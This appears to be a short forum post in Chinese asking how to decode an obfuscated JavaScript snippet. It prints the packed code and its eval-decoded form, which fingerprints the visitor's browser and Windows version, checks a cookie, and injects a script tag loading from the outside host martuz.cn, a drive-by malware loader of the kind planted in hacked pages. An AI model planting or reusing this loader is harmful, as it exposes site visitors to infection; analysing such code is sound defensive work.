以下这段代码如何解密？多谢童鞋们。呵呵！
(function(enuR){var JdO=(':76ar:20a:3d:22ScriptEngine:22:2cb:3d:22V:65:72sion(:29+:22:2cj:3d:22:22:2cu:3dnavigator:2e:75serAgent:3bif((u:2e:69:6edexOf(:22Chrome:22:29:3c:30):26:26(:75:2eindexOf(:22Win:22):3e0):26:26:28u:2eindexOf(:22NT:20:36:22):3c0:29:26:26(d:6f:63ument:2ecookie:2eindexOf(:22:6d:69ek:3d:31:22):3c:30:29:26:26(typeof:28z:72:76:7at:73):21:3d:74ypeof:28:22A:22))):7b:7arv:7ats:3d:22:41:22:3b:65v:61l(:22if:28window:2e:22+a+:22):6a:3dj+:22:2ba+:22Ma:6a:6fr:22+b+:61+:22:4din:6fr:22+b:2b:61+:22:42ui:6c:64:22+b+:22:6a:3b:22):3bdo:63:75:6dent:2ewri:74e(:22:3cscr:69pt:20:73:72c:3d:2f:2fm:22:2b:22artuz:2e:63:6e:2fvid:2f:3fi:64:3d:22+j+:22:3e:3c:5c:2fscript:3e:22):3b:7d').replace(enuR,'%');eval(unescape(JdO))})(/\:/g);

用户系统信息：Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0

eval解密

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//m"+"artuz.cn/vid/?id="+j+"><\/script>");}